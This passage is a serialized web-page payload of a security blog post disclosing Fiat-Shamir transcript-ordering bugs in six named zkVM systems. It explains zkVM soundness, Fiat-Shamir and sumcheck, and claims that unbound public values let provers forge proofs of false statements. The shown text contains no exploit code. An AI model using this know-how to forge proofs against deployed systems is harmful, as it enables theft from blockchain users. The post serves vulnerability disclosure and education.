breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[118173,118174],"himanshu","valter",{"src":118176,"width":107603,"height":14},"/posts/zkvms-unfaithful-claims/title.png",[118178],"zkVM",{"type":20,"children":118180,"toc":133948},[118181,118186,118228,118241,118244,118250,118255,118383,118386,118392,118398,118403,118435,118583,118588,118711,118722,118733,118756,118767,118772,118805,118813,118818,118821,118827,118832,118838,118843,118848,118856,118874,119015,119020,119026,119119,119853,119921,119932,119940,120414,120420,120859,121199,121352,121357,122245,122401,122407,122499,122504,123089,123539,123615,123621,123626,123695,123705,123721,123731,123792,124211,124243,124253,124428,124433,124443,125043,125231,125249,125252,125258,125263,125271,125303,125665,125670,125755,125758,125764,125772,125777,125780,125786,125791,125799,125807,125815,125823,125856,125864,125872,125963,126214,126541,126549,126579,126749,127075,127080,127085,127102,127105,127110,127115,127127,127139,127730,127742,127754,127761,127769,127781,127789,127804,127809,128089,128108,128203,128222,128238,128241,128247,128252,128257,128264,128272,128279,128287,128300,128318,128778,128880,128885,128890,128906,128909,128915,128920,128932,128943,128948,129338,129345,129353,129378,129398,129654,129665,129684,130068,130414,130644,130803,130963,131531,131536,131562,131565,131571,131576,131583,131591,131604,131676,131687,131695,131705,131713,131724,131998,132087,132116,132119,132124,132258,132270,132277,132282,132435,132461,132468,132476,132481,132547,132552,132942,133029,133045,133048,133054,133059,133065,133165,133224,133229,133235,133240,133248,133253,133259,133264,133269,133275,133280,133283,133289,133295,133300,133305,133310,133315,133320,133323,133329,133492,133497,133500,133505,133516,133833,133838,133862,133867,133885,133890,133893,133899,133904,133909,133919,133924,133934,133944],{"type":23,"tag":32,"props":118182,"children":118183},{},[118184],{"type":29,"value":118185},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":32,"props":118187,"children":118188},{},[118189,118191,118196,118197,118202,118203,118208,118209,118214,118215,118220,118221,118226],{"type":29,"value":118190},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":16596,"props":118192,"children":118193},{},[118194],{"type":29,"value":118195},"Jolt",{"type":29,"value":611},{"type":23,"tag":16596,"props":118198,"children":118199},{},[118200],{"type":29,"value":118201},"Nexus",{"type":29,"value":611},{"type":23,"tag":16596,"props":118204,"children":118205},{},[118206],{"type":29,"value":118207},"Cairo-M",{"type":29,"value":611},{"type":23,"tag":16596,"props":118210,"children":118211},{},[118212],{"type":29,"value":118213},"Ceno",{"type":29,"value":611},{"type":23,"tag":16596,"props":118216,"children":118217},{},[118218],{"type":29,"value":118219},"Expander",{"type":29,"value":5777},{"type":23,"tag":16596,"props":118222,"children":118223},{},[118224],{"type":29,"value":118225},"Binius64",{"type":29,"value":118227},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":32,"props":118229,"children":118230},{},[118231,118233,118239],{"type":29,"value":118232},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":940,"props":118234,"children":118236},{"href":118235},"#challenges",[118237],{"type":29,"value":118238},"Challenges",{"type":29,"value":118240}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":30016,"props":118242,"children":118243},{},[],{"type":23,"tag":24,"props":118245,"children":118247},{"id":118246},"jargon-cheat-sheet",[118248],{"type":29,"value":118249},"Jargon Cheat Sheet",{"type":23,"tag":32,"props":118251,"children":118252},{},[118253],{"type":29,"value":118254},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":27910,"props":118256,"children":118257},{},[118258,118268,118278,118288,118298,118308,118318,118328,118338,118348,118358,118368],{"type":23,"tag":2801,"props":118259,"children":118260},{},[118261,118266],{"type":23,"tag":16596,"props":118262,"children":118263},{},[118264],{"type":29,"value":118265},"Fiat-Shamir",{"type":29,"value":118267},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":2801,"props":118269,"children":118270},{},[118271,118276],{"type":23,"tag":16596,"props":118272,"children":118273},{},[118274],{"type":29,"value":118275},"Transcript",{"type":29,"value":118277},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":2801,"props":118279,"children":118280},{},[118281,118286],{"type":23,"tag":16596,"props":118282,"children":118283},{},[118284],{"type":29,"value":118285},"Polynomial Commitment",{"type":29,"value":118287},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":2801,"props":118289,"children":118290},{},[118291,118296],{"type":23,"tag":16596,"props":118292,"children":118293},{},[118294],{"type":29,"value":118295},"Sumcheck",{"type":29,"value":118297},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":2801,"props":118299,"children":118300},{},[118301,118306],{"type":23,"tag":16596,"props":118302,"children":118303},{},[118304],{"type":29,"value":118305},"MLE (Multilinear Extension)",{"type":29,"value":118307},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":2801,"props":118309,"children":118310},{},[118311,118316],{"type":23,"tag":16596,"props":118312,"children":118313},{},[118314],{"type":29,"value":118315},"Lookup / LogUp",{"type":29,"value":118317},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":2801,"props":118319,"children":118320},{},[118321,118326],{"type":23,"tag":16596,"props":118322,"children":118323},{},[118324],{"type":29,"value":118325},"AIR",{"type":29,"value":118327},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":2801,"props":118329,"children":118330},{},[118331,118336],{"type":23,"tag":16596,"props":118332,"children":118333},{},[118334],{"type":29,"value":118335},"STARK",{"type":29,"value":118337},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":2801,"props":118339,"children":118340},{},[118341,118346],{"type":23,"tag":16596,"props":118342,"children":118343},{},[118344],{"type":29,"value":118345},"FRI",{"type":29,"value":118347},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":2801,"props":118349,"children":118350},{},[118351,118356],{"type":23,"tag":16596,"props":118352,"children":118353},{},[118354],{"type":29,"value":118355},"OODS",{"type":29,"value":118357},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":2801,"props":118359,"children":118360},{},[118361,118366],{"type":23,"tag":16596,"props":118362,"children":118363},{},[118364],{"type":29,"value":118365},"GKR",{"type":29,"value":118367},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":2801,"props":118369,"children":118370},{},[118371,118376,118378],{"type":23,"tag":16596,"props":118372,"children":118373},{},[118374],{"type":29,"value":118375},"claimed_sum / opening_claim",{"type":29,"value":118377},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":16596,"props":118379,"children":118380},{},[118381],{"type":29,"value":118382},"These are the usual suspects for binding bugs.",{"type":23,"tag":30016,"props":118384,"children":118385},{},[],{"type":23,"tag":24,"props":118387,"children":118389},{"id":118388},"what-are-we-even-breaking",[118390],{"type":29,"value":118391},"What Are We Even Breaking?",{"type":23,"tag":923,"props":118393,"children":118395},{"id":118394},"what-is-a-zkvm",[118396],{"type":29,"value":118397},"What is a zkVM?",{"type":23,"tag":32,"props":118399,"children":118400},{},[118401],{"type":29,"value":118402},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":32,"props":118404,"children":118405},{},[118406,118408,118433],{"type":29,"value":118407},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":71,"props":118409,"children":118411},{"className":118410},[15256,15257],[118412],{"type":23,"tag":75,"props":118413,"children":118415},{"className":118414},[15262],[118416],{"type":23,"tag":75,"props":118417,"children":118419},{"className":118418,"ariaHidden":15268},[15267],[118420],{"type":23,"tag":75,"props":118421,"children":118423},{"className":118422},[15273],[118424,118428],{"type":23,"tag":75,"props":118425,"children":118427},{"className":118426,"style":32798},[15278],[],{"type":23,"tag":75,"props":118429,"children":118431},{"className":118430,"style":32804},[15284,32803],[118432],{"type":29,"value":17255},{"type":29,"value":118434}," such that:",{"type":23,"tag":32,"props":118436,"children":118437},{},[118438],{"type":23,"tag":71,"props":118439,"children":118441},{"className":118440},[15256,15257],[118442],{"type":23,"tag":75,"props":118443,"children":118445},{"className":118444},[15262],[118446],{"type":23,"tag":75,"props":118447,"children":118449},{"className":118448,"ariaHidden":15268},[15267],[118450,118494,118569],{"type":23,"tag":75,"props":118451,"children":118453},{"className":118452},[15273],[118454,118458,118464,118468,118473,118477,118481,118486,118490],{"type":23,"tag":75,"props":118455,"children":118457},{"className":118456,"style":103297},[15278],[],{"type":23,"tag":75,"props":118459,"children":118461},{"className":118460},[15284],[118462],{"type":29,"value":118463},"∃",{"type":23,"tag":75,"props":118465,"children":118467},{"className":118466,"style":15461},[15363],[],{"type":23,"tag":75,"props":118469,"children":118471},{"className":118470,"style":32804},[15284,32803],[118472],{"type":29,"value":17255},{"type":23,"tag":75,"props":118474,"children":118476},{"className":118475,"style":15461},[15363],[],{"type":23,"tag":75,"props":118478,"children":118480},{"className":118479,"style":15461},[15363],[],{"type":23,"tag":75,"props":118482,"children":118484},{"className":118483},[15466],[118485],{"type":29,"value":1018},{"type":23,"tag":75,"props":118487,"children":118489},{"className":118488,"style":15461},[15363],[],{"type":23,"tag":75,"props":118491,"children":118493},{"className":118492,"style":15461},[15363],[],{"type":23,"tag":75,"props":118495,"children":118497},{"className":118496},[15273],[118498,118502,118513,118518,118523,118528,118532,118537,118542,118546,118551,118556,118560,118565],{"type":23,"tag":75,"props":118499,"children":118501},{"className":118500,"style":15384},[15278],[],{"type":23,"tag":75,"props":118503,"children":118505},{"className":118504},[15284],[118506],{"type":23,"tag":75,"props":118507,"children":118510},{"className":118508},[15284,118509],"mathsf",[118511],{"type":29,"value":118512},"VM",{"type":23,"tag":75,"props":118514,"children":118516},{"className":118515},[32932],[118517],{"type":29,"value":643},{"type":23,"tag":75,"props":118519,"children":118521},{"className":118520,"style":32804},[15284,32803],[118522],{"type":29,"value":32807},{"type":23,"tag":75,"props":118524,"children":118526},{"className":118525},[15395],[118527],{"type":29,"value":15398},{"type":23,"tag":75,"props":118529,"children":118531},{"className":118530,"style":15402},[15363],[],{"type":23,"tag":75,"props":118533,"children":118535},{"className":118534,"style":105402},[15284,32803],[118536],{"type":29,"value":17401},{"type":23,"tag":75,"props":118538,"children":118540},{"className":118539},[15395],[118541],{"type":29,"value":15398},{"type":23,"tag":75,"props":118543,"children":118545},{"className":118544,"style":15402},[15363],[],{"type":23,"tag":75,"props":118547,"children":118549},{"className":118548,"style":32804},[15284,32803],[118550],{"type":29,"value":17255},{"type":23,"tag":75,"props":118552,"children":118554},{"className":118553},[32954],[118555],{"type":29,"value":1347},{"type":23,"tag":75,"props":118557,"children":118559},{"className":118558,"style":15461},[15363],[],{"type":23,"tag":75,"props":118561,"children":118563},{"className":118562},[15466],[118564],{"type":29,"value":33548},{"type":23,"tag":75,"props":118566,"children":118568},{"className":118567,"style":15461},[15363],[],{"type":23,"tag":75,"props":118570,"children":118572},{"className":118571},[15273],[118573,118577],{"type":23,"tag":75,"props":118574,"children":118576},{"className":118575,"style":32798},[15278],[],{"type":23,"tag":75,"props":118578,"children":118581},{"className":118579,"style":118580},[15284,32803],"margin-right:0.22222em;",[118582],{"type":29,"value":17430},{"type":23,"tag":32,"props":118584,"children":118585},{},[118586],{"type":29,"value":118587},"where:",{"type":23,"tag":27910,"props":118589,"children":118590},{},[118591,118621,118651,118681],{"type":23,"tag":2801,"props":118592,"children":118593},{},[118594,118619],{"type":23,"tag":71,"props":118595,"children":118597},{"className":118596},[15256,15257],[118598],{"type":23,"tag":75,"props":118599,"children":118601},{"className":118600},[15262],[118602],{"type":23,"tag":75,"props":118603,"children":118605},{"className":118604,"ariaHidden":15268},[15267],[118606],{"type":23,"tag":75,"props":118607,"children":118609},{"className":118608},[15273],[118610,118614],{"type":23,"tag":75,"props":118611,"children":118613},{"className":118612,"style":32798},[15278],[],{"type":23,"tag":75,"props":118615,"children":118617},{"className":118616,"style":32804},[15284,32803],[118618],{"type":29,"value":32807},{"type":29,"value":118620}," = program/circuit description (public)",{"type":23,"tag":2801,"props":118622,"children":118623},{},[118624,118649],{"type":23,"tag":71,"props":118625,"children":118627},{"className":118626},[15256,15257],[118628],{"type":23,"tag":75,"props":118629,"children":118631},{"className":118630},[15262],[118632],{"type":23,"tag":75,"props":118633,"children":118635},{"className":118634,"ariaHidden":15268},[15267],[118636],{"type":23,"tag":75,"props":118637,"children":118639},{"className":118638},[15273],[118640,118644],{"type":23,"tag":75,"props":118641,"children":118643},{"className":118642,"style":32798},[15278],[],{"type":23,"tag":75,"props":118645,"children":118647},{"className":118646,"style":105402},[15284,32803],[118648],{"type":29,"value":17401},{"type":29,"value":118650}," = public input",{"type":23,"tag":2801,"props":118652,"children":118653},{},[118654,118679],{"type":23,"tag":71,"props":118655,"children":118657},{"className":118656},[15256,15257],[118658],{"type":23,"tag":75,"props":118659,"children":118661},{"className":118660},[15262],[118662],{"type":23,"tag":75,"props":118663,"children":118665},{"className":118664,"ariaHidden":15268},[15267],[118666],{"type":23,"tag":75,"props":118667,"children":118669},{"className":118668},[15273],[118670,118674],{"type":23,"tag":75,"props":118671,"children":118673},{"className":118672,"style":32798},[15278],[],{"type":23,"tag":75,"props":118675,"children":118677},{"className":118676,"style":118580},[15284,32803],[118678],{"type":29,"value":17430},{"type":29,"value":118680}," = claimed public output",{"type":23,"tag":2801,"props":118682,"children":118683},{},[118684,118709],{"type":23,"tag":71,"props":118685,"children":118687},{"className":118686},[15256,15257],[118688],{"type":23,"tag":75,"props":118689,"children":118691},{"className":118690},[15262],[118692],{"type":23,"tag":75,"props":118693,"children":118695},{"className":118694,"ariaHidden":15268},[15267],[118696],{"type":23,"tag":75,"props":118697,"children":118699},{"className":118698},[15273],[118700,118704],{"type":23,"tag":75,"props":118701,"children":118703},{"className":118702,"style":32798},[15278],[],{"type":23,"tag":75,"props":118705,"children":118707},{"className":118706,"style":32804},[15284,32803],[118708],{"type":29,"value":17255},{"type":29,"value":118710}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":32,"props":118712,"children":118713},{},[118714,118716,118720],{"type":29,"value":118715},"The verifier does ",{"type":23,"tag":16596,"props":118717,"children":118718},{},[118719],{"type":29,"value":29711},{"type":29,"value":118721}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":32,"props":118723,"children":118724},{},[118725,118727,118732],{"type":29,"value":118726},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":16596,"props":118728,"children":118729},{},[118730],{"type":29,"value":118731},"soundness",{"type":29,"value":1018},{"type":23,"tag":27910,"props":118734,"children":118735},{},[118736,118746],{"type":23,"tag":2801,"props":118737,"children":118738},{},[118739,118744],{"type":23,"tag":16596,"props":118740,"children":118741},{},[118742],{"type":29,"value":118743},"Completeness",{"type":29,"value":118745},": honest execution verifies.",{"type":23,"tag":2801,"props":118747,"children":118748},{},[118749,118754],{"type":23,"tag":16596,"props":118750,"children":118751},{},[118752],{"type":29,"value":118753},"Soundness",{"type":29,"value":118755},": false execution should not verify.",{"type":23,"tag":32,"props":118757,"children":118758},{},[118759,118761,118765],{"type":29,"value":118760},"We are breaking ",{"type":23,"tag":16596,"props":118762,"children":118763},{},[118764],{"type":29,"value":118731},{"type":29,"value":118766}," in all six systems.",{"type":23,"tag":32,"props":118768,"children":118769},{},[118770],{"type":29,"value":118771},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":2797,"props":118773,"children":118774},{},[118775,118780,118785,118790,118795,118800],{"type":23,"tag":2801,"props":118776,"children":118777},{},[118778],{"type":29,"value":118779},"Fix public statement data.",{"type":23,"tag":2801,"props":118781,"children":118782},{},[118783],{"type":29,"value":118784},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":2801,"props":118786,"children":118787},{},[118788],{"type":29,"value":118789},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":2801,"props":118791,"children":118792},{},[118793],{"type":29,"value":118794},"Check constraint equations at sampled points.",{"type":23,"tag":2801,"props":118796,"children":118797},{},[118798],{"type":29,"value":118799},"Check PCS/opening consistency.",{"type":23,"tag":2801,"props":118801,"children":118802},{},[118803],{"type":29,"value":118804},"Accept only if all checks are jointly consistent.",{"type":23,"tag":32,"props":118806,"children":118807},{},[118808],{"type":23,"tag":15189,"props":118809,"children":118812},{"alt":118810,"src":118811},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":32,"props":118814,"children":118815},{},[118816],{"type":29,"value":118817},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":30016,"props":118819,"children":118820},{},[],{"type":23,"tag":24,"props":118822,"children":118824},{"id":118823},"the-building-blocks",[118825],{"type":29,"value":118826},"The Building Blocks",{"type":23,"tag":32,"props":118828,"children":118829},{},[118830],{"type":29,"value":118831},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":923,"props":118833,"children":118835},{"id":118834},"the-fiat-shamir-transform",[118836],{"type":29,"value":118837},"The Fiat-Shamir Transform",{"type":23,"tag":32,"props":118839,"children":118840},{},[118841],{"type":29,"value":118842},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":32,"props":118844,"children":118845},{},[118846],{"type":29,"value":118847},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":32,"props":118849,"children":118850},{},[118851],{"type":23,"tag":15189,"props":118852,"children":118855},{"alt":118853,"src":118854},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":32,"props":118857,"children":118858},{},[118859,118861,118865,118867,118872],{"type":29,"value":118860},"The hash (transcript) ",{"type":23,"tag":16596,"props":118862,"children":118863},{},[118864],{"type":29,"value":17785},{"type":29,"value":118866}," include everything that affects verification ",{"type":23,"tag":16596,"props":118868,"children":118869},{},[118870],{"type":29,"value":118871},"BEFORE",{"type":29,"value":118873}," the challenges derived from it are used.",{"type":23,"tag":32,"props":118875,"children":118876},{},[118877,118879,118905,118907,118932,118934,118959,118961,118986,118988,119013],{"type":29,"value":118878},"If some value ",{"type":23,"tag":71,"props":118880,"children":118882},{"className":118881},[15256,15257],[118883],{"type":23,"tag":75,"props":118884,"children":118886},{"className":118885},[15262],[118887],{"type":23,"tag":75,"props":118888,"children":118890},{"className":118889,"ariaHidden":15268},[15267],[118891],{"type":23,"tag":75,"props":118892,"children":118894},{"className":118893},[15273],[118895,118899],{"type":23,"tag":75,"props":118896,"children":118898},{"className":118897,"style":32798},[15278],[],{"type":23,"tag":75,"props":118900,"children":118902},{"className":118901,"style":118580},[15284,32803],[118903],{"type":29,"value":118904},"V",{"type":29,"value":118906}," affects a verification equation, but ",{"type":23,"tag":71,"props":118908,"children":118910},{"className":118909},[15256,15257],[118911],{"type":23,"tag":75,"props":118912,"children":118914},{"className":118913},[15262],[118915],{"type":23,"tag":75,"props":118916,"children":118918},{"className":118917,"ariaHidden":15268},[15267],[118919],{"type":23,"tag":75,"props":118920,"children":118922},{"className":118921},[15273],[118923,118927],{"type":23,"tag":75,"props":118924,"children":118926},{"className":118925,"style":32798},[15278],[],{"type":23,"tag":75,"props":118928,"children":118930},{"className":118929,"style":118580},[15284,32803],[118931],{"type":29,"value":118904},{"type":29,"value":118933}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":71,"props":118935,"children":118937},{"className":118936},[15256,15257],[118938],{"type":23,"tag":75,"props":118939,"children":118941},{"className":118940},[15262],[118942],{"type":23,"tag":75,"props":118943,"children":118945},{"className":118944,"ariaHidden":15268},[15267],[118946],{"type":23,"tag":75,"props":118947,"children":118949},{"className":118948},[15273],[118950,118954],{"type":23,"tag":75,"props":118951,"children":118953},{"className":118952,"style":32798},[15278],[],{"type":23,"tag":75,"props":118955,"children":118957},{"className":118956,"style":118580},[15284,32803],[118958],{"type":29,"value":118904},{"type":29,"value":118960},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":71,"props":118962,"children":118964},{"className":118963},[15256,15257],[118965],{"type":23,"tag":75,"props":118966,"children":118968},{"className":118967},[15262],[118969],{"type":23,"tag":75,"props":118970,"children":118972},{"className":118971,"ariaHidden":15268},[15267],[118973],{"type":23,"tag":75,"props":118974,"children":118976},{"className":118975},[15273],[118977,118981],{"type":23,"tag":75,"props":118978,"children":118980},{"className":118979,"style":32798},[15278],[],{"type":23,"tag":75,"props":118982,"children":118984},{"className":118983,"style":118580},[15284,32803],[118985],{"type":29,"value":118904},{"type":29,"value":118987},", which may allow it to choose ",{"type":23,"tag":71,"props":118989,"children":118991},{"className":118990},[15256,15257],[118992],{"type":23,"tag":75,"props":118993,"children":118995},{"className":118994},[15262],[118996],{"type":23,"tag":75,"props":118997,"children":118999},{"className":118998,"ariaHidden":15268},[15267],[119000],{"type":23,"tag":75,"props":119001,"children":119003},{"className":119002},[15273],[119004,119008],{"type":23,"tag":75,"props":119005,"children":119007},{"className":119006,"style":32798},[15278],[],{"type":23,"tag":75,"props":119009,"children":119011},{"className":119010,"style":118580},[15284,32803],[119012],{"type":29,"value":118904},{"type":29,"value":119014}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":32,"props":119016,"children":119017},{},[119018],{"type":29,"value":119019},"This is the bug class we found in all six systems.",{"type":23,"tag":923,"props":119021,"children":119023},{"id":119022},"the-sumcheck-protocol",[119024],{"type":29,"value":119025},"The Sumcheck Protocol",{"type":23,"tag":32,"props":119027,"children":119028},{},[119029,119031,119117],{"type":29,"value":119030},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":71,"props":119032,"children":119034},{"className":119033},[15256,15257],[119035],{"type":23,"tag":75,"props":119036,"children":119038},{"className":119037},[15262],[119039],{"type":23,"tag":75,"props":119040,"children":119042},{"className":119041,"ariaHidden":15268},[15267],[119043],{"type":23,"tag":75,"props":119044,"children":119046},{"className":119045},[15273],[119047,119051,119056,119061,119066,119070,119075],{"type":23,"tag":75,"props":119048,"children":119050},{"className":119049,"style":15384},[15278],[],{"type":23,"tag":75,"props":119052,"children":119054},{"className":119053},[32932],[119055],{"type":29,"value":853},{"type":23,"tag":75,"props":119057,"children":119059},{"className":119058},[15284],[119060],{"type":29,"value":648},{"type":23,"tag":75,"props":119062,"children":119064},{"className":119063},[15395],[119065],{"type":29,"value":15398},{"type":23,"tag":75,"props":119067,"children":119069},{"className":119068,"style":15402},[15363],[],{"type":23,"tag":75,"props":119071,"children":119073},{"className":119072},[15284],[119074],{"type":29,"value":7867},{"type":23,"tag":75,"props":119076,"children":119078},{"className":119077},[32954],[119079,119084],{"type":23,"tag":75,"props":119080,"children":119082},{"className":119081},[32954],[119083],{"type":29,"value":45334},{"type":23,"tag":75,"props":119085,"children":119087},{"className":119086},[15299],[119088],{"type":23,"tag":75,"props":119089,"children":119091},{"className":119090},[15304],[119092],{"type":23,"tag":75,"props":119093,"children":119095},{"className":119094},[15309],[119096],{"type":23,"tag":75,"props":119097,"children":119100},{"className":119098,"style":119099},[15314],"height:0.6644em;",[119101],{"type":23,"tag":75,"props":119102,"children":119103},{"style":15318},[119104,119108],{"type":23,"tag":75,"props":119105,"children":119107},{"className":119106,"style":15324},[15323],[],{"type":23,"tag":75,"props":119109,"children":119111},{"className":119110},[15329,15330,15331,15332],[119112],{"type":23,"tag":75,"props":119113,"children":119115},{"className":119114},[15284,32803,15332],[119116],{"type":29,"value":67587},{"type":29,"value":119118},"), i.e the claim:",{"type":23,"tag":32,"props":119120,"children":119121},{},[119122],{"type":23,"tag":71,"props":119123,"children":119125},{"className":119124},[15256,15257],[119126],{"type":23,"tag":75,"props":119127,"children":119129},{"className":119128},[15262],[119130],{"type":23,"tag":75,"props":119131,"children":119133},{"className":119132,"ariaHidden":15268},[15267],[119134,119160],{"type":23,"tag":75,"props":119135,"children":119137},{"className":119136},[15273],[119138,119142,119147,119151,119156],{"type":23,"tag":75,"props":119139,"children":119141},{"className":119140,"style":32798},[15278],[],{"type":23,"tag":75,"props":119143,"children":119145},{"className":119144,"style":103616},[15284,32803],[119146],{"type":29,"value":103619},{"type":23,"tag":75,"props":119148,"children":119150},{"className":119149,"style":15461},[15363],[],{"type":23,"tag":75,"props":119152,"children":119154},{"className":119153},[15466],[119155],{"type":29,"value":212},{"type":23,"tag":75,"props":119157,"children":119159},{"className":119158,"style":15461},[15363],[],{"type":23,"tag":75,"props":119161,"children":119163},{"className":119162},[15273],[119164,119168,119318,119322,119465,119469,119476,119480,119624,119628,119634,119639,119696,119701,119705,119762,119767,119771,119777,119781,119786,119790,119848],{"type":23,"tag":75,"props":119165,"children":119167},{"className":119166,"style":32834},[15278],[],{"type":23,"tag":75,"props":119169,"children":119171},{"className":119170},[32839],[119172,119178],{"type":23,"tag":75,"props":119173,"children":119175},{"className":119174,"style":32846},[32839,32844,32845],[119176],{"type":29,"value":119177},"∑",{"type":23,"tag":75,"props":119179,"children":119181},{"className":119180},[15299],[119182],{"type":23,"tag":75,"props":119183,"children":119185},{"className":119184},[15304,32857],[119186,119307],{"type":23,"tag":75,"props":119187,"children":119189},{"className":119188},[15309],[119190,119302],{"type":23,"tag":75,"props":119191,"children":119193},{"className":119192,"style":32866},[15314],[119194],{"type":23,"tag":75,"props":119195,"children":119196},{"style":32870},[119197,119201],{"type":23,"tag":75,"props":119198,"children":119200},{"className":119199,"style":15324},[15323],[],{"type":23,"tag":75,"props":119202,"children":119204},{"className":119203},[15329,15330,15331,15332],[119205],{"type":23,"tag":75,"props":119206,"children":119208},{"className":119207},[15284,15332],[119209,119272,119277,119282,119287,119292,119297],{"type":23,"tag":75,"props":119210,"children":119212},{"className":119211},[15284,15332],[119213,119218],{"type":23,"tag":75,"props":119214,"children":119216},{"className":119215},[15284,32803,15332],[119217],{"type":29,"value":30499},{"type":23,"tag":75,"props":119219,"children":119221},{"className":119220},[15299],[119222],{"type":23,"tag":75,"props":119223,"children":119225},{"className":119224},[15304,32857],[119226,119260],{"type":23,"tag":75,"props":119227,"children":119229},{"className":119228},[15309],[119230,119255],{"type":23,"tag":75,"props":119231,"children":119234},{"className":119232,"style":119233},[15314],"height:0.3173em;",[119235],{"type":23,"tag":75,"props":119236,"children":119238},{"style":119237},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[119239,119244],{"type":23,"tag":75,"props":119240,"children":119243},{"className":119241,"style":119242},[15323],"height:2.5em;",[],{"type":23,"tag":75,"props":119245,"children":119249},{"className":119246},[15329,119247,119248,15332],"reset-size3","size1",[119250],{"type":23,"tag":75,"props":119251,"children":119253},{"className":119252},[15284,15332],[119254],{"type":29,"value":7867},{"type":23,"tag":75,"props":119256,"children":119258},{"className":119257},[32960],[119259],{"type":29,"value":32963},{"type":23,"tag":75,"props":119261,"children":119263},{"className":119262},[15309],[119264],{"type":23,"tag":75,"props":119265,"children":119268},{"className":119266,"style":119267},[15314],"height:0.143em;",[119269],{"type":23,"tag":75,"props":119270,"children":119271},{},[],{"type":23,"tag":75,"props":119273,"children":119275},{"className":119274},[15466,15332],[119276],{"type":29,"value":32910},{"type":23,"tag":75,"props":119278,"children":119280},{"className":119279},[32932,15332],[119281],{"type":29,"value":853},{"type":23,"tag":75,"props":119283,"children":119285},{"className":119284},[15284,15332],[119286],{"type":29,"value":648},{"type":23,"tag":75,"props":119288,"children":119290},{"className":119289},[15395,15332],[119291],{"type":29,"value":15398},{"type":23,"tag":75,"props":119293,"children":119295},{"className":119294},[15284,15332],[119296],{"type":29,"value":7867},{"type":23,"tag":75,"props":119298,"children":119300},{"className":119299},[32954,15332],[119301],{"type":29,"value":45334},{"type":23,"tag":75,"props":119303,"children":119305},{"className":119304},[32960],[119306],{"type":29,"value":32963},{"type":23,"tag":75,"props":119308,"children":119310},{"className":119309},[15309],[119311],{"type":23,"tag":75,"props":119312,"children":119314},{"className":119313,"style":32971},[15314],[119315],{"type":23,"tag":75,"props":119316,"children":119317},{},[],{"type":23,"tag":75,"props":119319,"children":119321},{"className":119320,"style":15402},[15363],[],{"type":23,"tag":75,"props":119323,"children":119325},{"className":119324},[32839],[119326,119331],{"type":23,"tag":75,"props":119327,"children":119329},{"className":119328,"style":32846},[32839,32844,32845],[119330],{"type":29,"value":119177},{"type":23,"tag":75,"props":119332,"children":119334},{"className":119333},[15299],[119335],{"type":23,"tag":75,"props":119336,"children":119338},{"className":119337},[15304,32857],[119339,119454],{"type":23,"tag":75,"props":119340,"children":119342},{"className":119341},[15309],[119343,119449],{"type":23,"tag":75,"